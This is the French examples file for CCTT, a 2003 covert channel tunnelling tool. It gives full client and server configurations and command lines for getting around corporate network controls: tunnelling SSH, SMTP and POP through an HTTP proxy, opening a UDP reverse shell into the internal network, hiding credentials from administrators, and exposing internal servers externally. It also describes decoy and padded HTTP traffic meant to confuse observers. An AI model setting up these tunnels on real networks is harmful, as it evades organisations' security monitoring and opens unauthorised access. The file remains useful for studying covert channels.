CCTT - Covert Channel Tunneling Tool v0.1.8 - EXEMPLES
Copyright (C) 2002,2003 Simon Castro - scastro@entreelibre.com
$Id: EXEMPLES,v 1.11 2003/08/31 10:34:21 simsim Exp $

================================================================================
This file is part of CCTT - Covert  Channel  Tunneling  Tool  v0.1.8  (C)  Simon
Castro.
CCTT is free software; you can redistribute it and/or modify it under the  terms
of the GNU General Public License as published by the Free Software  Foundation;
either version 2 of the License, or (at your option) any later version.
CCTT is distributed in the  hope  that  it  will  be  useful,  but  WITHOUT  ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS  FOR A
PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General  Public  License  along  with
CCTT; if not, write to the Free Software  Foundation,  Inc.,  59  Temple  Place,
Suite 330, Boston, MA  02111-1307  USA
================================================================================

Figurent dans ce fichier, divers exemples d'utilisation de CCTT presentes  selon
le plan suivant :
  * Quel type d'architecture devons nous traverser.
  * Quelles sont les fonctionnalites que nous desirons.
  * Quels sont les fichiers de configuration client et serveur.
  * Quels sont les parametres a passer en ligne de commande.

   I) Architecture HTTP avec  serveur  mandataire  :  Acces  a  divers  services
      externes.
  II) Architecture a 'trous' sur le protocole UDP.
 III) Entrer Login/Password sur un site Web en utilisant CCTT.
  IV) Beneficier des fonctionnalites de CCTT (chaine de proxy)  avec  le  client
      uniquement. 
   V) Demonstration du concept de mode proxy inverse avec CCTT.
  VI) Mode HTTP : Confusion par emission/reception de messages HTTP inutiles.
 VII) Mode HTTP : Confusion par une gestion du comportement du serveur.
VIII) Mode HTTP : Confusion  par  encapsulation  des  donnees  utiles  dans  des
      donnees inutiles.

================================================================================

I) Architecture HTTP avec serveur mandataire : Acces a divers services externes

  A] Type d'architecture

  L'architecture type est celle d'une entreprise dont le seul  moyen  de  sortir
  vers l'exterieur est d'utiliser un serveur mandataire HTTP offrant la  methode
  CONNECT a destination de serveurs externes en ecoute sur le port 443.
  Nous connaissons l'adresse IP du proxy : 192.168.1.1 et son  port  d'ecoute  :
  8080.

  B] Fonctionnalites desirees

     Nous desirons, a partir du reseau interne :
    * Acceder   a  notre   station  personnelle  connectee  a  Internet  en  SSH
      (111.222.1.1).
       * Acceder a notre serveur SMTP heberge chez un ISP (111.222.2.1).
       * Acceder a notre serveur POP heberge chez un ISP (111.222.2.2).

  C] Fichiers de configuration

     Notre station personnelle doit etre configuree comme suit :
       * Un serveur SSH en ecoute sur le loopback.
    * Autorisations d'entree/sortie du Fw pour acceder a notre Pop  et  a  notre
      Smtp.
       * Un utilisateur cctt sans shell doit etre cree sur notre station Internet.
    * Un repertoire cage servant au chroot doit  etre  cree  sur  notre  station
      Internet.
    * Et pour finir, il nous faut l'acces super-utilisateur pour pouvoir  binder
      le port 443.

  Le fichier de configuration srv_example_1.cf du serveur doit etre le suivant :
       PROTOCOL=tcp
       IDENT=basic_ident
       IDENT_KEY=simsim
       SRV_SHELL_LOC=/usr/local/bin/false
       SRV_SHELL_CMD=false
       PROXY_MODE_LIST=ssh:127.0.0.1:22
       PROXY_MODE_LIST=smtp:111.222.2.1:25
       PROXY_MODE_LIST=pop:111.222.2.2:110
       PROXY_ONLY=ON
       PERM_USER_GROUP=cctt
       PERM_CHROOT=cage
  
     Les fichiers de configuration du client doivent etre les suivants :
     
    cl_example_1_ssh.cf :
	PROTOCOL=tcp
        CHANNEL_PROXY_IP=192.168.1.1
        CHANNEL_PROXY_PORT=8080
        CHANNEL_PROXY_PROT=tcp
	CHANNEL_PROXY_DEL=30000
        IDENT=basic_ident
        IDENT_KEY=simsim
        PROXY_MODE_LOCAL_IP=127.0.0.1
        PROXY_MODE_LOCAL_PORT=4222
        PROXY_MODE_PROT=tcp
        PROXY_MODE_REMOTE_IP=127.0.0.1
        PROXY_MODE_REMOTE_PORT=22

    cl_example_1_smtp.cf :
	PROTOCOL=tcp
        CHANNEL_PROXY_IP=192.168.1.1
        CHANNEL_PROXY_PORT=8080
        CHANNEL_PROXY_PROT=tcp
	CHANNEL_PROXY_DEL=30000
        IDENT=basic_ident
        IDENT_KEY=simsim
        PROXY_MODE_LOCAL_IP=127.0.0.1
        PROXY_MODE_LOCAL_PORT=4225
        PROXY_MODE_PROT=tcp
        PROXY_MODE_REMOTE_IP=111.222.2.1
        PROXY_MODE_REMOTE_PORT=25

    cl_example_1_pop.cf :
	PROTOCOL=tcp
        CHANNEL_PROXY_IP=192.168.1.1
        CHANNEL_PROXY_PORT=8080
        CHANNEL_PROXY_PROT=tcp
	CHANNEL_PROXY_DEL=30000
        IDENT=basic_ident
        IDENT_KEY=simsim
        PROXY_MODE_LOCAL_IP=127.0.0.1
        PROXY_MODE_LOCAL_PORT=42110
        PROXY_MODE_PROT=tcp
        PROXY_MODE_REMOTE_IP=111.222.2.2
        PROXY_MODE_REMOTE_PORT=110

  D] Parametres de ligne de commande et execution

     Pour lancer le serveur, nous entrons (en tant que root) la commande :
    cctt -s 111.222.1.1 -p 443 -f srv_example_1.cf -t socket_encode -L -v &

     Pour lancer les clients, nous entrons (sans etre root) les commandes :
    cctt -c 111.222.1.1 -d 443 -f cl_example_1_ssh.cf -t \
      socket_http_proxy_encode -a &
    cctt -c 111.222.1.1 -d 443 -f cl_example_1_smtp.cf -t \
      socket_http_proxy_encode -a &
    cctt -c 111.222.1.1 -d 443 -f cl_example_1_pop.cf -t \
      socket_http_proxy_encode -a &

  Nous disposons desormais sur notre station du reseau interne de trois ports en
  ecoute sur le loopback :
    * le port 4222 nous permet d'atteindre notre station personnelle connectee a
      Internet en SSH.
      * le port 4225 nous permet d'atteindre notre serveur SMTP externe.
      * le port 42110 nous permet d'atteindre notre serveur POP externe.

  Le  serveur  present  sur  notre  station  personnelle  Internet  tourne  sous
  l'identite restreinte cctt, est chroote dans le repertoire cage et envoie  les
  messages verbeux au demon Syslogd.

================================================================================

II) Architecture a 'trous' sur le protocole UDP

  A] Type d'architecture

  L'architecture que nous traversons est fictive et  composee  d'un  systeme  de
  controle d'acces reseau mal parametre.
  Nous imaginons qu'il est possible, a partir d'une station  du  reseau interne,
  d'envoyer/recevoir des datagrammes UDP a un serveur  present  sur  Internet en
  ecoute sur le port 7272.

  B] Fonctionnalites desirees

  Nous desirons creer un reverse-shell se  connectant  au  serveur  present  sur
  Internet (111.222.1.1:7272).
  Ce faisant, nous obtenons a partir d'Internet un acces  au  reseau  interne de
  l'entreprise.

  C] Fichiers de configuration

     Notre station personnelle doit etre configuree comme suit :
    * Autorisations d'entree/sortie du Fw pour recevoir/envoyer des  datagrammes
      avec un port source UDP 7272.
       * Un utilisateur cctt sans shell doit etre cree sur notre station Internet.
    * Un repertoire cage servant au chroot doit  etre  cree  sur  notre  station
      Internet.
       * Et pour finir, l'acces super-utilisateur pour pouvoir blinder le serveur.

  Le fichier de configuration srv_example_2.cf du serveur doit etre le suivant :
       PROTOCOL=udp
       IDENT=basic_ident
       IDENT_KEY=simsim
       SRV_SHELL_LOC=/usr/bin/false
       SRV_SHELL_CMD=false
       PERM_USER_GROUP=cctt
       PERM_CHROOT=cage

  Le fichier de configuration cl_example_2.cf du client doit etre le suivant :
       PROTOCOL=udp
       IDENT=basic_ident
       IDENT_KEY=simsim

  D] Parametres de ligne de commande et execution

     Pour lancer le serveur, nous entrons (en tant que root) la commande :
    cctt -s 111.222.1.1 -p 7272 -f srv_example_2.cf -t socket_encode -l &

     Pour lancer le client, nous entrons (sans etre root) la commande :
    cctt -c 111.222.1.1 -d 7272 -f cl_example_2.cf -t socket_encode -r &
           
  En utilisant le mode interactif du serveur,  nous  avons  desormais  un  acces
  shell, a partir d'Internet, au reseau interne de l'entreprise.
     De plus, la session du shell inverse est enregistre dans un fichier de log.

================================================================================

III) Entrer Login/Password sur un site Web en utilisant CCTT.

  A] Type d'architecture

  Nous prenons une architecture semblable a celle de l'exemple I) mais n'importe
  quel type aurait fait l'affaire - C'est l'idee qui nous interesse.
  Nous connaissons l'adresse IP du proxy : 192.168.1.1 et son  port  d'ecoute  :
  8080 - ainsi que son autorisation de sortie en mode CONNECT vers le port 443.

  B] Fonctionnalites desirees

  Nous devons nous identifier sur un site Web Internet (111.222.7.7) a partir du
  reseau local de l'entreprise.
  Le Hic est que cette identification se fait sans SSL, et que nous  ne  voulons
  pas que les  administrateurs  systeme/reseau  puissent  avoir  acces  a  notre
  login/password.

  C] Fichiers de configuration

      Notre station personnelle (111.222.1.1) doit etre configuree comme suit :
        * Autorisations d'entree/sortie du Fw pour acceder au serveur Web distant.
        * Un utilisateur cctt sans shell doit etre cree sur notre station Internet.
    * Un repertoire cage servant au chroot doit etre cree sur notre station
      Internet.
    * Et pour finir, il nous faut l'acces super-utilisateur pour pouvoir  binder
      le port 443.

  Le fichier de configuration srv_example_3.cf du serveur doit etre le suivant :
        PROTOCOL=tcp
        IDENT=basic_ident
        IDENT_KEY=simsim
        SRV_SHELL_LOC=/usr/local/bin/false
        SRV_SHELL_CMD=false
        PROXY_MODE_LIST=http:111.222.7.7:80
        PROXY_ONLY=ON
        PERM_USER_GROUP=cctt
        PERM_CHROOT=cage

  Le fichier de configuration cl_example_3.cf du client doit etre le suivant :
        PROTOCOL=tcp
        CHANNEL_PROXY_IP=192.168.1.1
        CHANNEL_PROXY_PORT=8080
        CHANNEL_PROXY_PROT=tcp
	CHANNEL_PROXY_DEL=30000
        IDENT=basic_ident
        IDENT_KEY=simsim
        PROXY_MODE_LOCAL_IP=127.0.0.1
        PROXY_MODE_LOCAL_PORT=4280
        PROXY_MODE_PROT=tcp
        PROXY_MODE_REMOTE_IP=111.222.7.7
        PROXY_MODE_REMOTE_PORT=80

  D] Parametres de ligne de commande et execution

     Pour lancer le serveur, nous entrons (en tant que root) la commande :
    cctt -s 111.222.1.1 -p 443 -f srv_example_3.cf -t socket_encode -L -v &

     Pour lancer le client, nous entrons (sans etre root) la commande :
    cctt -c 111.222.1.1 -d 443 -f cl_example_3.cf -t \
      socket_http_proxy_encode -a &

  Nous  pouvons  desormais  configurer  notre  client  web  pour  qu'il  utilise
  127.0.0.1:4280 comme proxy http. Ainsi, toutes nos requetes a  destination  du
  serveur Web (ou des virtualhosts qu'il gere) transiteront par  le  canal  CCTT
  qui est encode.

================================================================================

IV) Beneficier des fonctionnalites de CCTT (chaine  de  proxy)  avec  le  client
     uniquement.

  A] Type d'architecture

  Nous prenons une architecture semblable a celle de l'example I) mais n'importe
  quel type aurait fait l'affaire - C'est l'idee qui nous interesse.
  Nous connaissons l'adresse IP du proxy : 192.168.1.1 et son  port  d'ecoute  :
  8080 de notre reseau local d'entreprise.
  Nous connaissons l'adresse IP de deux autres proxys se trouvant  sur  Internet
  et   supportant   egalement   la   methode   CONNECT   (111.111.1.1:8080    et
  222.222.2.2:8080).
  Nous savons que ces trois proxys possedent une autorisation de sortie vers les
  ports 443 et 8080.

  B] Fonctionnalites desirees

  Nous desirons nous connecter en SSH sur notre station personelle  connectee  a
  Internet et situee sur 111.222.1.1:443.
  Notre serveur SSH personnel est en ecoute sur ce port et nous  voulons  :  'NE
  RIEN INSTALLER SUR NOTRE MACHINE PERSO' :)

  C] Fichiers de configuration

  Le fichier de configuration cl_example_4.cf du client doit etre le suivant :
        PROTOCOL=tcp
        CHANNEL_PROXY_IP=192.168.1.1
        CHANNEL_PROXY_PORT=8080
        CHANNEL_PROXY_PROT=tcp
        CHANNEL_PROXY_DEL=25000
        HTTP_PROXY_CHAIN=111.111.1.1:8080:25000;222.222.2.2:8080:25000
        PROXY_MODE_LOCAL_IP=127.0.0.1
        PROXY_MODE_LOCAL_PORT=4222
        PROXY_MODE_PROT=tcp
        ### Theses one are not used, but without, the client won't start.
        IDENT=basic_ident
        IDENT_KEY=simsim
        PROXY_MODE_REMOTE_IP=127.0.0.1
        PROXY_MODE_REMOTE_PORT=22

  D] Parametres de ligne de commande et execution

     Pour lancer le client, nous entrons (sans etre root) la commande :
    cctt -c 111.222.1.1 -d 443 -f cl_example_4.cf -t \
      client_only_with_http_proxy &

  Nous possedons desormais un client Cctt en ecoute sur localhost:4222. Quand ce
  client recoit une connexion, il se connecte sur le premier proxy, puis sur  le
  deuxieme, puis le troisieme et finalement parvient a notre serveur.
  A ce moment, nous disposons d'un canal TCP standard entre l'application locale
  et l'application distante.

================================================================================

V) Demonstration du concept de mode proxy inverse avec CCTT.

  A] Type d'architecture

  Nous prenons une architecture semblable a celle de l'example I) mais n'importe
  quel type aurait fait l'affaire - C'est l'idee qui nous interesse.
  Nous connaissons l'adresse IP du proxy : 192.168.1.1 et son  port  d'ecoute  :
  8080 de notre reseau local d'entreprise.

  B] Fonctionnalites desirees

  Nous desirons acceder au serveur  Web  interne  (192.168.2.1:80)  ainsi  qu'au
  serveur SMTP (192.168.2.2:25) de notre entreprise depuis l'exterieur.
  Nous desirons autoriser deux stations externes (W1 et W2) a acceder au serveur
  Web et une troisieme station (S) a acceder au serveur SMTP via  notre  serveur
  CCTT positionne egalement sur une station externe (C - 111.222.1.1:443).

  C] Fichiers de configuration

  Le fichier  de  configuration  (srv_example_5.cf)  du  serveur  doit  etre  le
  suivant :
        PROTOCOL=tcp
        IDENT=basic_ident
        IDENT_KEY=simsim
        SRV_SHELL_LOC=/usr/local/bin/false
        SRV_SHELL_CMD=false
        PROXY_ONLY=ON
        PERM_USER_GROUP=cctt
        PERM_CHROOT=cage

  Le fichier de configuration (cl_Wint_example_5.cf) du client interne doit etre
  le suivant pour l'acces au serveur Web :
	PROTOCOL=tcp
	IDENT=basic_ident
	IDENT_KEY=simsim
	CHANNEL_PROXY_IP=192.168.1.1
	CHANNEL_PROXY_PORT=8080
	CHANNEL_PROXY_PROT=tcp
	CHANNEL_PROXY_DEL=15000
	PROXY_MODE_PROT=tcp
	PROXY_MODE_REMOTE_IP=192.168.2.1
	PROXY_MODE_REMOTE_PORT=80

  Le fichier de configuration (cl_Sint_example_5.cf) du client interne doit etre
  le suivant pour l'acces au serveur Web :
	PROTOCOL=tcp
	IDENT=basic_ident
	IDENT_KEY=simsim
	CHANNEL_PROXY_IP=192.168.1.1
	CHANNEL_PROXY_PORT=8080
	CHANNEL_PROXY_PROT=tcp
	CHANNEL_PROXY_DEL=15000
	PROXY_MODE_PROT=tcp
	PROXY_MODE_REMOTE_IP=192.168.2.2
	PROXY_MODE_REMOTE_PORT=25

  Le fichier de configuration (cl_Wext_example_5.cf) du client externe doit etre
  le suivant pour l'acces au serveur Web :
	PROTOCOL=tcp
	IDENT=basic_ident
	IDENT_KEY=simsim
	PROXY_MODE_LOCAL_IP=@IP_W1
	PROXY_MODE_LOCAL_PORT=4280
	PROXY_MODE_PROT=tcp
	PROXY_MODE_REMOTE_IP=192.168.2.1
	PROXY_MODE_REMOTE_PORT=80

  Le fichier de configuration (cl_Sext_example_5.cf) du client externe doit etre
  le suivant pour l'acces au serveur Web :
	PROTOCOL=tcp
	IDENT=basic_ident
	IDENT_KEY=simsim
	PROXY_MODE_LOCAL_IP=@IP_S
	PROXY_MODE_LOCAL_PORT=4225
	PROXY_MODE_PROT=tcp
	PROXY_MODE_REMOTE_IP=192.168.2.2
	PROXY_MODE_REMOTE_PORT=25

  D] Parametres de ligne de commande et execution

  Nous commencons par lancer le serveur en entrant (en tant que root) :
    cctt -s 111.222.1.1 -p 443 -f srv_example_5.cf -t socket -L -v &

  Nous lancons ensuite les deux clients presents sur le reseau interne  en  mode
  proxy inverse :
    cctt -c 111.222.1.1 -d 443 -f cl_Wint_example_5.cf -t socket_http_proxy -z &
    cctt -c 111.222.1.1 -d 443 -f cl_Sint_example_5.cf -t socket_http_proxy -z &

  => Ces deux clients s'enregistrent aupres du serveur en lui  indiquant  qu'ils
     sont les points de passages pour  acceder  aux  serveurs  Web  et  SMTP  et
     conservent la connexion ouverte avec le serveur.

  Note : Le serveur ajoute et retire dynamiquement les  clients  en  mode  proxy
  inverse lors des etablissements et ruptures de connexion.

  Nous lancons ensuite les deux clients presents sur le reseau externe  en  mode
  proxy :

    Sur W1, nous lancons : cctt -c 111.222.1.1 -d 443 -f cl_Wext_example_5.cf\
                             -t socket -a &
    Sur S, nous lancons  : cctt -c 111.222.1.1 -d 443 -f cl_Sext_example_5.cf\
                             -t socket -a &
	
       => Ces deux clients se mettent en attente de clients applicatifs.

  Nous possedons maintenant deux services en ecoute  :  Le  service  d'acces  au
  serveur Web est en ecoute sur @IP_W1:4280 et le  service  d'acces  au  serveur
  Smtp est en ecoute sur @IP_S:4225.

     Quand un client veut acceder au serveur SMTP :
      * Il ouvre une connexion vers @IP_S:4225.
   * Le client CCTT present sur S ouvre une connection vers le serveur CCTT C et
     lui demande d'acceder au serveur SMTP.
   * Le serveur CCTT verifie dans  sa  liste  d'autorisation  proxy,  trouve  la
     connexion inverse existante vers le client CCTT interne gerant le  SMTP  et
     fait office de proxy.
   * Le client CCTT interne recoit des donnees,  ouvre  une  connexion  vers  le
     serveur SMTP et fait office de proxy.

  La meme chose est valable pour d'autres clients applicatifs SMTP ou  pour  les
  clients applicatifs Web.

================================================================================

VI) Mode HTTP : Confusion par emission/reception de messages HTTP inutiles.

Pour les fichiers de configuration, referez vous a doc/confs/http_post1.
Pour les parametres de ligne de commande, referez vous aux exemples precedents.

  A] Type d'architecture

  N'importe quelle architecture autorisant un utilisateur a envoyer des requetes
  HTTP POST avec ou sans utilisation d'un serveur proxy intermediaire.

  B] Fonctionnalite presentee

  Le mode HTTP de  CCTT  permet  l'envoi  de  requetes  HTTP  POST  inutiles  au
  fonctionnement du canal.
  Ces requetes peuvent etre envoyees par le client CCTT a intervalle regulier ou
  aleatoire au serveur CCTT et ne font pas partie des requetes utilisees pour le
  transport des donnees utiles.
  Si ces requetes sont configurees au niveau du serveur CCTT,  le  serveur  CCTT
  renvoie le contenu des fichiers demandes et ce contenu n'est  tout  simplement
  pas utilise par le client.

  On obtient donc un trafic superflu qui permet d'accroitre  la  confusion  d'un
  eventuel observateur.

================================================================================

VII) Mode HTTP : Confusion par une gestion du comportement du serveur.

Pour les fichiers de configuration, referez vous a doc/confs/http_post1.
Pour les parametres de ligne de commande, referez vous aux exemples precedents.

  A] Type d'architecture

  N'importe quelle architecture autorisant un utilisateur a envoyer des requetes
  HTTP POST avec ou sans utilisation d'un serveur proxy intermediaire.

  B] Fonctionnalite presentee

  Si le serveur est configure  comme  dans  l'exemple  VI),  il  est  en  mesure
  d'accepter des requetes qui ne proviendraient pas de clients CCTT.
  Quand ces requetes sont configurees au  niveau  du  serveur  (GET  /index.html
  HTTP/1.0 par exemple), le serveur renvoie le fichier  correspondant  et  quand
  ces requetes ne sont pas configurees, le serveur renvoie une page d'erreur.
  Un exemple de pages qui peuvent etre renvoyees par le serveur est present  sur
  la presentation HTML situee sur le site Web Gray-World.

================================================================================

VIII) Mode HTTP : Confusion  par  encapsulation  des  donnees  utiles  dans  des
      donnees inutiles.

Pour les fichiers de configuration, referez vous a doc/confs/http_post2.
Pour les parametres de ligne de commande, referez vous aux exemples precedents.

  A] Type d'architecture

  N'importe quelle architecture autorisant un utilisateur a envoyer des requetes
  HTTP POST avec ou sans utilisation d'un serveur proxy intermediaire.

  B] Fonctionnalite presentee

  Le mode HTTP de CCTT permet d'ajouter des donnees arbitraires au debut ou a la
  fin des donnees utiles au canal de communication.
  Ce "padding" peut etre ajoute tant dans les requetes POST du client  que  dans
  les reponses HTTP du serveur.

  Un exemple de padding des requetes et reponses lors d'un echange en mode  HTTP
  est present dans le fichier doc/confs/http_post2/snort_capture.txt.

================================================================================
